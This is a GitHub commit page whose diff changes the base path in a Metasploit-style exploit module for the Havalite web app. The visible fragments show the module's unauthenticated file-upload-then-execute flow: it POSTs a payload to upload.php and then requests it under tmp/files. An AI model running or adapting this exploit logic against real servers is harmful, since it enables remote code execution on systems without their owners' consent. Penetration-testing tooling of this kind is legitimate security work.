Skip to content

Commit 7b0977f

Browse files
committed
Change base path
1 parent f0c81ed commit 7b0977f

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/unix/webapp/havalite_upload_exec.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ def initialize(info={})
4949

5050
register_options(
5151
[
52-
OptString.new('TARGETURI', [true, 'The base path to havalite', '/havalite/'])
52+
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
5353
], self.class)
5454
end
5555

@@ -65,7 +65,7 @@ def peer
6565
# the vendor or OSVDB about exactly which ones are really vulnerable.
6666
#
6767
def check
68-
uri = normalize_uri(target_uri.path)
68+
uri = normalize_uri(target_uri.path, 'havalite/')
6969
res = send_request_raw({'uri' => uri})
7070

7171
if not res
@@ -98,7 +98,7 @@ def upload(base)
9898

9999
res = send_request_cgi({
100100
'method' => 'POST',
101-
'uri' => normalize_uri(base, 'upload.php'),
101+
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
102102
'ctype' => "multipart/form-data; boundary=#{data.bound}",
103103
'data' => post_data
104104
})
@@ -120,7 +120,7 @@ def upload(base)
120120
#
121121
def exec(base, payload_fname)
122122
res = send_request_raw({
123-
'uri' => normalize_uri(base, 'tmp', 'files', payload_fname)
123+
'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
124124
})
125125

126126
if res and res.code == 404

0 commit comments

Comments
 (0)